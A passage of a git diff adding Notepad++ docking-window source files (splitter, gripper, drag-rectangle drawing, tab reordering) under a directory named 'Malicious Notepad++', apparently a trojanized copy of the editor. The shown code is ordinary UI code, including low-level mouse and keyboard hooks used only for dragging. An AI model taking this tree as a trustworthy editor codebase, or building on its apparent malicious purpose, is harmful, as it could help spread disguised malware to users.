WM_NCCREATE : + pDockingSplitter = reinterpret_cast(reinterpret_cast(lParam)->lpCreateParams); + pDockingSplitter->_hSelf = hwnd; + ::SetWindowLongPtr(hwnd, GWLP_USERDATA, reinterpret_cast(pDockingSplitter)); + return TRUE; + + default : + pDockingSplitter = reinterpret_cast(::GetWindowLongPtr(hwnd, GWLP_USERDATA)); + if (!pDockingSplitter) + return ::DefWindowProc(hwnd, message, wParam, lParam); + return pDockingSplitter->runProc(hwnd, message, wParam, lParam); + } +} + + +LRESULT DockingSplitter::runProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam) +{ + switch (message) + { + case WM_LBUTTONDOWN: + { + hWndMouse = hwnd; + hookMouse = ::SetWindowsHookEx(WH_MOUSE_LL, hookProcMouse, _hInst, 0); + if (!hookMouse) + { + DWORD dwError = ::GetLastError(); + TCHAR str[128]; + ::wsprintf(str, TEXT("GetLastError() returned %lu"), dwError); + ::MessageBox(NULL, str, TEXT("SetWindowsHookEx(MOUSE) failed on runProc"), MB_OK | MB_ICONERROR); + } + else + { + ::SetCapture(_hSelf); + ::GetCursorPos(&_ptOldPos); + _isLeftButtonDown = TRUE; + } + + break; + } + case WM_LBUTTONUP: + case WM_NCLBUTTONUP: + { + /* end hooking */ + if (hookMouse) + { + ::UnhookWindowsHookEx(hookMouse); + ::SetCapture(NULL); + hookMouse = NULL; + } + _isLeftButtonDown = FALSE; + break; + } + case WM_MOUSEMOVE: + case WM_NCMOUSEMOVE: + { + if (_isLeftButtonDown == TRUE) + { + POINT pt; + + ::GetCursorPos(&pt); + + if ((_flags & DMS_HORIZONTAL) && (_ptOldPos.y != pt.y)) + { + ::SendMessage(_hMessage, DMM_MOVE_SPLITTER, _ptOldPos.y - pt.y, reinterpret_cast(_hSelf)); + } + else if (_ptOldPos.x != pt.x) + { + ::SendMessage(_hMessage, DMM_MOVE_SPLITTER, _ptOldPos.x - pt.x, reinterpret_cast(_hSelf)); + } + _ptOldPos = pt; + } + break; + } + default : + break; + } + return ::DefWindowProc(hwnd, message, wParam, lParam); +} + + + + diff --git a/Malicious Notepad++/src/WinControls/DockingWnd/DockingSplitter.h b/Malicious Notepad++/src/WinControls/DockingWnd/DockingSplitter.h new file mode 100644 index 0000000..521c117 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/DockingWnd/DockingSplitter.h @@ -0,0 +1,72 @@ +// this file is part of docking functionality for Notepad++ +// Copyright (C)2006 Jens Lorenz +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#ifndef DOCKINGSPLITTER_H +#define DOCKINGSPLITTER_H + +#include "Window.h" + +#ifndef DOCKING_H +#include "Docking.h" +#endif //DOCKING_H + +#ifndef DOCKING_RESOURCE_H +#include "dockingResource.h" +#endif //DOCKING_RESOURCE_H + +#define DMS_VERTICAL 0x00000001 +#define DMS_HORIZONTAL 0x00000002 + +class DockingSplitter : public Window +{ +public : + DockingSplitter() : _isLeftButtonDown(FALSE), _hMessage(NULL) {}; + ~DockingSplitter(){}; + + virtual void destroy() {}; + +public: + void init(HINSTANCE hInst, HWND hWnd, HWND hMessage, UINT flags); + +protected: + + static LRESULT CALLBACK staticWinProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam); + LRESULT runProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam); + +private: + HWND _hMessage; + + BOOL _isLeftButtonDown; + POINT _ptOldPos; + UINT _flags; + + static BOOL _isVertReg; + static BOOL _isHoriReg; +}; + +#endif // DOCKINGSPLITTER_H diff --git a/Malicious Notepad++/src/WinControls/DockingWnd/Gripper.cpp b/Malicious Notepad++/src/WinControls/DockingWnd/Gripper.cpp new file mode 100644 index 0000000..e13c564 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/DockingWnd/Gripper.cpp @@ -0,0 +1,887 @@ +// this file is part of docking functionality for Notepad++ +// Copyright (C)2006 Jens Lorenz +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. +// +// Changed something around drawRectangle() (for details see there) to enhance +// speed and consistency of the drag-rectangle - August 2010, Joern Gruel (jg) + + +#include +#include "Gripper.h" +#include "DockingManager.h" +#include "Parameters.h" + +using namespace std; + +#ifndef WH_KEYBOARD_LL +#define WH_KEYBOARD_LL 13 +#endif + +#ifndef WH_MOUSE_LL +#define WH_MOUSE_LL 14 +#endif + + +BOOL Gripper::_isRegistered = FALSE; + +static HWND hWndServer = NULL; +static HHOOK hookMouse = NULL; +static HHOOK hookKeyboard = NULL; + +static LRESULT CALLBACK hookProcMouse(int nCode, WPARAM wParam, LPARAM lParam) +{ + if (nCode >= 0) + { + switch (wParam) + { + case WM_MOUSEMOVE: + case WM_NCMOUSEMOVE: + ::SendMessage(hWndServer, static_cast(wParam), 0, 0); + break; + + case WM_LBUTTONUP: + case WM_NCLBUTTONUP: + ::SendMessage(hWndServer, static_cast(wParam), 0, 0); + return TRUE; + + default: + break; + } + } + return ::CallNextHookEx(hookMouse, nCode, wParam, lParam); +} + +static LRESULT CALLBACK hookProcKeyboard(int nCode, WPARAM wParam, LPARAM lParam) +{ + if (nCode >= 0) + { + if (wParam == VK_ESCAPE) + { + ::PostMessage(hWndServer, DMM_CANCEL_MOVE, 0, 0); + return FALSE; + } + } + + return ::CallNextHookEx(hookKeyboard, nCode, wParam, lParam); +} + +Gripper::Gripper() +{ + _hInst = NULL; + _hParent = NULL; + _hSelf = NULL; + _pDockMgr = NULL; + _pCont = NULL; + + _ptOffset.x = 0; + _ptOffset.y = 0; + + _ptOld.x = 0; + _ptOld.y = 0; + _bPtOldValid = FALSE; + + _hTab = NULL; + _hTabSource = NULL; + _startMovingFromTab = FALSE; + _iItem = 0; + + _hdc = NULL; + _hbm = NULL; + _hbrush = NULL; + + memset(&_rcPrev, 0, sizeof(RECT)); + memset(&_rcItem, 0, sizeof(RECT)); + memset(&_tcItem, 0, sizeof(TCITEM)); + memset(&_dockData, 0, sizeof(tDockMgr)); +} + + +void Gripper::startGrip(DockingCont* pCont, DockingManager* pDockMgr) +{ + _pDockMgr = pDockMgr; + _pCont = pCont; + + _pDockMgr->getDockInfo(&_dockData); + + if (!_isRegistered) + { + WNDCLASS clz; + + clz.style = 0; + clz.lpfnWndProc = staticWinProc; + clz.cbClsExtra = 0; + clz.cbWndExtra = 0; + clz.hInstance = _hInst; + clz.hIcon = NULL; + clz.hCursor = ::LoadCursor(NULL, IDC_ARROW); + + clz.hbrBackground = NULL; + clz.lpszMenuName = NULL; + clz.lpszClassName = MDLG_CLASS_NAME; + + if (!::RegisterClass(&clz)) + { + throw std::runtime_error("Gripper::startGrip : RegisterClass() function failed"); + } + _isRegistered = TRUE; + } + + _hSelf = ::CreateWindowEx( + 0, + MDLG_CLASS_NAME, + TEXT(""), 0, + CW_USEDEFAULT, CW_USEDEFAULT, + CW_USEDEFAULT, CW_USEDEFAULT, + NULL, + NULL, + _hInst, + (LPVOID)this); + hWndServer = _hSelf; + + if (!_hSelf) + { + throw std::runtime_error("Gripper::startGrip : CreateWindowEx() function return null"); + } +} + + +LRESULT CALLBACK Gripper::staticWinProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam) +{ + Gripper *pDlgMoving = NULL; + switch (message) + { + case WM_NCCREATE : + pDlgMoving = reinterpret_cast(reinterpret_cast(lParam)->lpCreateParams); + pDlgMoving->_hSelf = hwnd; + ::SetWindowLongPtr(hwnd, GWLP_USERDATA, reinterpret_cast(pDlgMoving)); + return TRUE; + + default : + pDlgMoving = reinterpret_cast(::GetWindowLongPtr(hwnd, GWLP_USERDATA)); + if (!pDlgMoving) + return ::DefWindowProc(hwnd, message, wParam, lParam); + return pDlgMoving->runProc(message, wParam, lParam); + } +} + +LRESULT Gripper::runProc(UINT message, WPARAM wParam, LPARAM lParam) +{ + switch (message) + { + case WM_CREATE: + { + create(); + break; + } + case WM_MOUSEMOVE: + case WM_NCMOUSEMOVE: + { + onMove(); + return TRUE; + } + case WM_LBUTTONUP: + case WM_NCLBUTTONUP: + { + /* end hooking */ + if (hookMouse) + { + ::UnhookWindowsHookEx(hookMouse); + ::UnhookWindowsHookEx(hookKeyboard); + hookMouse = NULL; + hookKeyboard = NULL; + } + onButtonUp(); + ::DestroyWindow(_hSelf); + return TRUE; + } + case DMM_CANCEL_MOVE: + { + POINT pt = {0,0}; + POINT ptBuf = {0,0}; + + ::GetCursorPos(&pt); + getMousePoints(&pt, &ptBuf); + + /* erase last drawn rectangle */ + drawRectangle(NULL); + + /* end hooking */ + ::UnhookWindowsHookEx(hookMouse); + ::UnhookWindowsHookEx(hookKeyboard); + + ::DestroyWindow(_hSelf); + return FALSE; + } + case WM_DESTROY: + { + mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0); + ::SetWindowPos(_hParent, HWND_NOTOPMOST, 0, 0, 0, 0, SWP_NOSIZE | SWP_NOMOVE); + _pCont->focusClient(); + delete this; // TODO: remove this line and delete this object outside of itself + return TRUE; + } + default: + break; + } + + return ::DefWindowProc(_hSelf, message, wParam, lParam); +} + + +void Gripper::create() +{ + RECT rc = {0}; + POINT pt = {0}; + + // start hooking + ::SetWindowPos(_pCont->getHSelf(), HWND_TOPMOST, 0, 0, 0, 0, SWP_NOSIZE | SWP_NOMOVE); + ::SetCapture(_hSelf); + winVer ver = (NppParameters::getInstance())->getWinVersion(); + hookMouse = ::SetWindowsHookEx(WH_MOUSE_LL, hookProcMouse, _hInst, 0); + + if (!hookMouse) + { + DWORD dwError = ::GetLastError(); + TCHAR str[128]; + ::wsprintf(str, TEXT("GetLastError() returned %lu"), dwError); + ::MessageBox(NULL, str, TEXT("SetWindowsHookEx(MOUSE) failed on Gripper::create()"), MB_OK | MB_ICONERROR); + } + + if (ver != WV_UNKNOWN && ver < WV_VISTA) + { + hookKeyboard = ::SetWindowsHookEx(WH_KEYBOARD_LL, hookProcKeyboard, _hInst, 0); + if (!hookKeyboard) + { + DWORD dwError = ::GetLastError(); + TCHAR str[128]; + ::wsprintf(str, TEXT("GetLastError() returned %lu"), dwError); + ::MessageBox(NULL, str, TEXT("SetWindowsHookEx(KEYBOARD) failed on Gripper::create()"), MB_OK | MB_ICONERROR); + } + } +// Removed regarding W9x systems +// mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0); + + // calculate the mouse pt within dialog + ::GetCursorPos(&pt); + + // get tab informations + initTabInformation(); + + if (_pCont->isFloating() == true) + { + ::GetWindowRect(_pCont->getHSelf(), &rc); + } + else + { + _pCont->getClientRect(rc); + ::ScreenToClient(_pCont->getHSelf(), &pt); + } + + _ptOffset.x = pt.x - rc.left; + _ptOffset.y = pt.y - rc.top; +} + + +void Gripper::onMove() +{ + POINT pt = {0,0}; + POINT ptBuf = {0,0}; + + ::GetCursorPos(&pt); + getMousePoints(&pt, &ptBuf); + + /* tab reordering only when tab was selected */ + if (_startMovingFromTab == TRUE) + { + doTabReordering(pt); + } + + drawRectangle(&pt); +} + + +void Gripper::onButtonUp() +{ + POINT pt = {0,0}; + POINT ptBuf = {0,0}; + RECT rc = {0}; + RECT rcCorr = {0}; + + ::GetCursorPos(&pt); + getMousePoints(&pt, &ptBuf); + + // do nothing, when old point is not valid + if (_bPtOldValid == FALSE) + return; + + // erase last drawn rectangle + drawRectangle(NULL); + + // look if current position is within dockable area + DockingCont* pDockCont = contHitTest(pt); + + if (pDockCont == NULL) + { + pDockCont = workHitTest(pt); + } + + /* add dependency to other container class */ + if (pDockCont == NULL) + { + /* calculate new position */ + rc = _pCont->getDataOfActiveTb()->rcFloat; + _pCont->getClientRect(rcCorr); + + CalcRectToScreen(_dockData.hWnd, &rc); + CalcRectToScreen(_dockData.hWnd, &rcCorr); + + rc.left = pt.x - _ptOffset.x; + rc.top = pt.y - _ptOffset.y; + + /* correct rectangle position when mouse is not within */ + DoCalcGripperRect(&rc, rcCorr, pt); + + DockingCont* pContMove = NULL; + + /* change location of toolbars */ + if (_startMovingFromTab == TRUE) + { + /* when tab is moved */ + if ((!_pCont->isFloating()) || + ((_pCont->isFloating()) && (::SendMessage(_hTabSource, TCM_GETITEMCOUNT, 0, 0) > 1))) + { + pContMove = _pDockMgr->toggleActiveTb(_pCont, DMM_FLOAT, TRUE, &rc); + } + } + else if (!_pCont->isFloating()) + { + /* when all windows are moved */ + pContMove = _pDockMgr->toggleVisTb(_pCont, DMM_FLOAT, &rc); + } + + /* set moving container */ + if (pContMove == NULL) + { + pContMove = _pCont; + } + + /* update window position */ + ::MoveWindow(pContMove->getHSelf(), rc.left, rc.top, rc.right, rc.bottom, TRUE); + ::SendMessage(pContMove->getHSelf(), WM_SIZE, 0, 0); + } + else if (_pCont != pDockCont) + { + /* change location of toolbars */ + if ((_startMovingFromTab == TRUE) && (::SendMessage(_hTabSource, TCM_GETITEMCOUNT, 0, 0) != 1)) + { + /* when tab is moved */ + _pDockMgr->toggleActiveTb(_pCont, pDockCont); + } + else + { + /* when all windows are moved */ + _pDockMgr->toggleVisTb(_pCont, pDockCont); + } + } +} + + +void Gripper::doTabReordering(POINT pt) +{ + vector vCont = _pDockMgr->getContainerInfo(); + BOOL inTab = FALSE; + HWND hTab = NULL; + HWND hTabOld = _hTab; + int iItemOld = _iItem; + + /* search for every tab entry */ + for (size_t iCont = 0, len = vCont.size(); iCont < len; ++iCont) + { + hTab = vCont[iCont]->getTabWnd(); + + /* search only if container is visible */ + if (::IsWindowVisible(hTab) == TRUE) + { + RECT rc = {0}; + + ::GetWindowRect(hTab, &rc); + + /* test if cursor points in tab window */ + if (::PtInRect(&rc, pt) == TRUE) + { + TCHITTESTINFO info = {0}; + + if (_hTab == NULL) + { + initTabInformation(); + hTabOld = _hTab; + iItemOld = _iItem; + } + + // get pointed tab item + info.pt = pt; + ::ScreenToClient(hTab, &info.pt); + auto iItem = ::SendMessage(hTab, TCM_HITTEST, 0, reinterpret_cast(&info)); + + if (iItem != -1) + { + // prevent flickering of tabs with different sizes + ::SendMessage(hTab, TCM_GETITEMRECT, iItem, reinterpret_cast(&rc)); + ClientRectToScreenRect(hTab, &rc); + + if ((rc.left + (_rcItem.right - _rcItem.left)) < pt.x) + { + return; + } + + _iItem = static_cast(iItem); + } + else if (_hTab && ((hTab != _hTab) || (_iItem == -1))) + { + // test if cusor points after last tab + auto iLastItem = ::SendMessage(hTab, TCM_GETITEMCOUNT, 0, 0) - 1; + + ::SendMessage(hTab, TCM_GETITEMRECT, iLastItem, reinterpret_cast(&rc)); + if ((rc.left + rc.right) < pt.x) + { + _iItem = static_cast(iLastItem) + 1; + } + } + + _hTab = hTab; + inTab = TRUE; + break; + } + } + } + + // set and remove tabs correct + if ((inTab == TRUE) && (iItemOld != _iItem)) + { + if (_hTab == _hTabSource) + { + // delete item if switching back to source tab + auto iSel = ::SendMessage(_hTab, TCM_GETCURSEL, 0, 0); + ::SendMessage(_hTab, TCM_DELETEITEM, iSel, 0); + } + else if (_hTab == hTabOld) + { + // delete item on switch between tabs + ::SendMessage(_hTab, TCM_DELETEITEM, iItemOld, 0); + } + } + else if (inTab == FALSE) + { + if (hTabOld != _hTabSource) + { + ::SendMessage(hTabOld, TCM_DELETEITEM, iItemOld, 0); + } + _iItem = -1; + } + + // insert new entry when mouse doesn't point to current hovered tab + if (_hTab && ((_hTab != hTabOld) || (_iItem != iItemOld))) + { + _tcItem.mask = TCIF_PARAM | (_hTab == _hTabSource ? TCIF_TEXT : 0); + ::SendMessage(_hTab, TCM_INSERTITEM, _iItem, reinterpret_cast(&_tcItem)); + } + + // select the tab only in source tab window + if ((_hTab == _hTabSource) && (_iItem != -1)) + { + ::SendMessage(_hTab, TCM_SETCURSEL, _iItem, 0); + } + +#if 0 + extern HWND g_hMainWnd; + TCHAR str[128]; + wsprintf(str, TEXT("Size: %i"), vCont.size()); + ::SetWindowText(g_hMainWnd, str); +#endif + + ::UpdateWindow(_hParent); +} + +// Changed behaviour (jg): Now this function handles erasing of drag-rectangles and drawing of +// new ones within one drawing step to the desktop. This is against flickering, but also it is +// necessary for the Vista Aero style - because in this case the control is given so much to +// the graphics driver, that accesses (especially read accesses) to the desktop window become +// too expensive to access it more than absolutely necessary. Besides, usage of the function +// ::LockWindowUpdate() was added, because with often redrawn windows in the background we had +// inconsistencies while erasing our drag-rectangle (because it could already have been erased +// on some places). +// +// Parameter pPt==NULL says that only erasing is wanted and the drag-rectangle is no more needed, +// thatswhy this also leads to a call of ::LockWindowUpdate(NULL) to enable drawing by others again. +// The previously drawn rectangle is memoried within _rectPrev (and _bPtOldValid says if it already +// is valid - did not change this members name because didn't want change too much at once). +// +// I was too lazy to always draw four rectangles for the four edges of the drag-rectangle - it seems +// that drawing an outer rectangle first and then erasing the inner stuff by drawing a second, +// smaller rectangle inside seems to be not slower - wich comes not unawaited, because it is mostly +// hardware-driven and each single draw has its own fixed costs. +// +// For further solutions I think we should leave this classic way of dragging and better use +// alpha-blending and always move the whole content of the toolbars - so we could leave the +// ::LockWindowUpdate() behind us. +// +// Besides, while debugging into the dragging process please let the ::LockWindowUpdate() out, +// by #undef the USE_LOCKWINDOWUPDATE in gripper.h, because it works for your debugging window +// as well, of course. Or just try by this #define what difference it makes. +// +void Gripper::drawRectangle(const POINT* pPt) +{ + HBRUSH hbrushOrig= NULL; + HBITMAP hbmOrig = NULL; + RECT rc = {0}; + RECT rcNew = {0}; + RECT rcOld = _rcPrev; + + // Get a screen device context with backstage redrawing disabled - to have a consistently + // and stable drawn rectangle while floating - keep in mind, that we must ensure, that + // finally ::LockWindowUpdate(NULL) will be called, to enable drawing for others again. + if (!_hdc) + { + HWND hWnd= ::GetDesktopWindow(); + #if defined (USE_LOCKWINDOWUPDATE) + _hdc= ::GetDCEx(hWnd, NULL, ::LockWindowUpdate(hWnd) ? DCX_WINDOW|DCX_CACHE|DCX_LOCKWINDOWUPDATE : DCX_WINDOW|DCX_CACHE); + #else + _hdc= ::GetDCEx(hWnd, NULL, DCX_WINDOW|DCX_CACHE); + #endif + } + + // Create a brush with the appropriate bitmap pattern to draw our drag rectangle + if (!_hbm) + _hbm = ::CreateBitmap(8, 8, 1, 1, DotPattern); + if (!_hbrush) + _hbrush = ::CreatePatternBrush(_hbm); + + if (pPt != NULL) + { + // Determine whether to draw a solid drag rectangle or checkered + // ???(jg) solid or checked ??? - must have been an old comment, I didn't + // find here this difference, but at least it's a question of drag-rects size + // + getMovingRect(*pPt, &rcNew); + _rcPrev= rcNew; // save the new drawn rcNew + + // note that from here for handling purposes the right and bottom values of the rects + // contain width and height - its handsome, but i find it dangerous, but didn't want to + // change that already this time. + + if (_bPtOldValid) + { + // okay, there already a drag-rect has been drawn - and its position + // had been saved within the rectangle _rectPrev, wich already had been + // copied into rcOld in the beginning, and a new drag position + // is available, too. + // If now rcOld and rcNew are the same, just stop further handling to not + // draw the same drag-rectangle twice (this really happens, it should be + // better avoided anywhere earlier) + // + if (rcOld.left==rcNew.left && rcOld.right==rcNew.right && rcOld.top== rcNew.top && rcOld.bottom==rcNew.bottom) + return; + + rc.left = min(rcOld.left, rcNew.left); + rc.top = min(rcOld.top, rcNew.top); + rc.right = max(rcOld.left + rcOld.right, rcNew.left + rcNew.right); + rc.bottom = max(rcOld.top + rcOld.bottom, rcNew.top + rcNew.bottom); + rc.right -= rc.left; + rc.bottom-= rc.top; + } + else rc= rcNew; // only new rect will be drawn + } + else rc= rcOld; // only old rect will be drawn - to erase it + + // now rc contains the rectangle wich encloses all needed, new and/or previous rectangle + // because in the following we drive within a memory device context wich is limited to rc, + // we have to localize rcNew and rcOld within rc... + // + rcOld.left= rcOld.left - rc.left; + rcOld.top = rcOld.top - rc.top; + rcNew.left= rcNew.left - rc.left; + rcNew.top = rcNew.top - rc.top; + + HDC hdcMem= ::CreateCompatibleDC(_hdc); + HBITMAP hBm= ::CreateCompatibleBitmap(_hdc, rc.right, rc.bottom); + hbrushOrig= (HBRUSH)::SelectObject(hdcMem, hBm); + + ::SetBrushOrgEx(hdcMem, rc.left%8, rc.top%8, 0); + hbmOrig= (HBITMAP)::SelectObject(hdcMem, _hbrush); + + ::BitBlt(hdcMem, 0, 0, rc.right, rc.bottom, _hdc, rc.left, rc.top, SRCCOPY); + if (_bPtOldValid) + { // erase the old drag-rectangle + ::PatBlt(hdcMem, rcOld.left , rcOld.top , rcOld.right , rcOld.bottom , PATINVERT); + ::PatBlt(hdcMem, rcOld.left+3, rcOld.top+3, rcOld.right-6, rcOld.bottom-6, PATINVERT); + } + if (pPt != NULL) + { // draw the new drag-rectangle + ::PatBlt(hdcMem, rcNew.left , rcNew.top , rcNew.right , rcNew.bottom , PATINVERT); + ::PatBlt(hdcMem, rcNew.left+3, rcNew.top+3, rcNew.right-6, rcNew.bottom-6, PATINVERT); + } + ::BitBlt(_hdc, rc.left, rc.top, rc.right, rc.bottom, hdcMem, 0, 0, SRCCOPY); + + SelectObject(hdcMem, hbrushOrig); + SelectObject(hdcMem, hbmOrig); + DeleteObject(hBm); + DeleteDC(hdcMem); + + if (pPt == NULL) + { + #if defined(USE_LOCKWINDOWUPDATE) + ::LockWindowUpdate(NULL); + #endif + _bPtOldValid= FALSE; + if (_hdc) + { + ::ReleaseDC(0, _hdc); + _hdc= NULL; + } + } + else _bPtOldValid= TRUE; +} + + +void Gripper::getMousePoints(POINT* pt, POINT* ptPrev) +{ + *ptPrev = _ptOld; + _ptOld = *pt; +} + + +void Gripper::getMovingRect(POINT pt, RECT *rc) +{ + RECT rcCorr = {0}; + DockingCont* pContHit = NULL; + + /* test if mouse hits a container */ + pContHit = contHitTest(pt); + + if (pContHit != NULL) + { + /* get rect of client */ + ::GetWindowRect(pContHit->getHSelf(), rc); + + /* get rect for correction */ + if (_pCont->isFloating() == TRUE) + rcCorr = _pCont->getDataOfActiveTb()->rcFloat; + else + _pCont->getClientRect(rcCorr); + + ShrinkRcToSize(rc); + ShrinkRcToSize(&rcCorr); + + /* correct rectangle position when mouse is not within */ + DoCalcGripperRect(rc, rcCorr, pt); + } + else + { + /* test if mouse is within work area */ + pContHit = workHitTest(pt, rc); + + /* calcutlates the rect and its position */ + if (pContHit == NULL) + { + /* calcutlates the rect and draws it */ + if (!_pCont->isFloating()) + *rc = _pCont->getDataOfActiveTb()->rcFloat; + else + _pCont->getWindowRect(*rc); + _pCont->getClientRect(rcCorr); + + CalcRectToScreen(_dockData.hWnd, rc); + CalcRectToScreen(_dockData.hWnd, &rcCorr); + + rc->left = pt.x - _ptOffset.x; + rc->top = pt.y - _ptOffset.y; + + /* correct rectangle position when mouse is not within */ + DoCalcGripperRect(rc, rcCorr, pt); + } + } +} + + +DockingCont* Gripper::contHitTest(POINT pt) +{ + vector vCont = _pDockMgr->getContainerInfo(); + HWND hWnd = ::WindowFromPoint(pt); + + for (size_t iCont = 0, len = vCont.size(); iCont < len; ++iCont) + { + /* test if within caption */ + if (hWnd == vCont[iCont]->getCaptionWnd()) + { + if (vCont[iCont]->isFloating()) + { + RECT rc = {0}; + + vCont[iCont]->getWindowRect(rc); + if ((rc.top < pt.y) && (pt.y < (rc.top + 24))) + { + /* when it is the same container start moving immediately */ + if (vCont[iCont] == _pCont) + { + return NULL; + } + else + { + return vCont[iCont]; + } + } + } + else + { + return vCont[iCont]; + } + } + + /* test only tabs that are visible */ + if (::IsWindowVisible(vCont[iCont]->getTabWnd())) + { + /* test if within tab (rect test is used, because of drag and drop behaviour) */ + RECT rc = {0}; + + ::GetWindowRect(vCont[iCont]->getTabWnd(), &rc); + if (::PtInRect(&rc, pt)) + { + return vCont[iCont]; + } + } + } + + /* doesn't hit a container */ + return NULL; +} + + +DockingCont* Gripper::workHitTest(POINT pt, RECT *rc) +{ + RECT rcCont = {0}; + vector vCont = _pDockMgr->getContainerInfo(); + + /* at first test if cursor points into a visible container */ + for (size_t iCont = 0, len = vCont.size(); iCont < len; ++iCont) + { + if (vCont[iCont]->isVisible()) + { + vCont[iCont]->getWindowRect(rcCont); + + if (::PtInRect(&rcCont, pt) == TRUE) + { + /* when it does, return with non found docking area */ + return NULL; + } + } + } + + /* now search if cusor hits a possible docking area */ + for (int iWork = 0; iWork < DOCKCONT_MAX; ++iWork) + { + if (!vCont[iWork]->isVisible()) + { + rcCont = _dockData.rcRegion[iWork]; + rcCont.right += rcCont.left; + rcCont.bottom += rcCont.top; + + if (rc != NULL) + { + *rc = rcCont; + } + + /* set fix hit test with */ + switch(iWork) + { + case CONT_LEFT: + rcCont.right = rcCont.left + HIT_TEST_THICKNESS; + rcCont.left -= HIT_TEST_THICKNESS; + break; + case CONT_RIGHT: + rcCont.left = rcCont.right - HIT_TEST_THICKNESS; + rcCont.right += HIT_TEST_THICKNESS; + break; + case CONT_TOP: + rcCont.bottom = rcCont.top + HIT_TEST_THICKNESS; + rcCont.top -= HIT_TEST_THICKNESS; + break; + case CONT_BOTTOM: + rcCont.top = rcCont.bottom - HIT_TEST_THICKNESS; + rcCont.bottom += HIT_TEST_THICKNESS; + break; + default: + break; + } + ClientRectToScreenRect(_dockData.hWnd, &rcCont); + + if (::PtInRect(&rcCont, pt) == TRUE) + { + if (rc != NULL) + { + ClientRectToScreenRect(_dockData.hWnd, rc); + rc->right -= rc->left; + rc->bottom -= rc->top; + } + return vCont[iWork]; + } + } + } + + /* no docking area found */ + return NULL; +} + + +void Gripper::initTabInformation() +{ + /* for tab reordering */ + + /* remember handle */ + _hTabSource = _pCont->getTabWnd(); + _startMovingFromTab = _pCont->startMovingFromTab(); + if ((_startMovingFromTab == FALSE) && (::SendMessage(_hTabSource, TCM_GETITEMCOUNT, 0, 0) == 1)) + { + _startMovingFromTab = TRUE; + _iItem = 0; + } + else + { + // get active tab item + _iItem = static_cast(::SendMessage(_hTabSource, TCM_GETCURSEL, 0, 0)); + } + + /* get size of item */ + _hTab = _hTabSource; + ::SendMessage(_hTabSource, TCM_GETITEMRECT, _iItem, reinterpret_cast(&_rcItem)); + + /* store item data */ + static TCHAR szText[64]; + _tcItem.mask = TCIF_PARAM | TCIF_TEXT; + _tcItem.pszText = szText; + _tcItem.cchTextMax = 64; + ::SendMessage(_hTabSource, TCM_GETITEM, _iItem, reinterpret_cast(&_tcItem)); +} + diff --git a/Malicious Notepad++/src/WinControls/DockingWnd/Gripper.h b/Malicious Notepad++/src/WinControls/DockingWnd/Gripper.h new file mode 100644 index 0000000..c154821 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/DockingWnd/Gripper.h @@ -0,0 +1,166 @@ +// this file is part of docking functionality for Notepad++ +// Copyright (C)2006 Jens Lorenz +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#ifndef GRIPPER_H +#define GRIPPER_H + +#include +#include +#include "Common.h" + +#ifndef DOCKING_H +#include "Docking.h" +#endif //DOCKING_H + +#ifndef DOCKING_RESOURCE_H +#include "dockingResource.h" +#endif //DOCKING_RESOURCE_H + +class DockingCont; +class DockingManager; + +// For the following #define see the comments at drawRectangle() definition. (jg) +#define USE_LOCKWINDOWUPDATE +//#undef USE_LOCKWINDOWUPDATE + + +// Used by getRectAndStyle() to draw the drag rectangle +static const WORD DotPattern[] = +{ + 0x00aa, 0x0055, 0x00aa, 0x0055, 0x00aa, 0x0055, 0x00aa, 0x0055 +}; + + +#define MDLG_CLASS_NAME TEXT("moveDlg") + + +class Gripper +{ +public: + Gripper(); + + void init(HINSTANCE hInst, HWND hParent) { + _hInst = hInst; + _hParent = hParent; + }; + + void startGrip(DockingCont* pCont, DockingManager* pDockMgr); + + 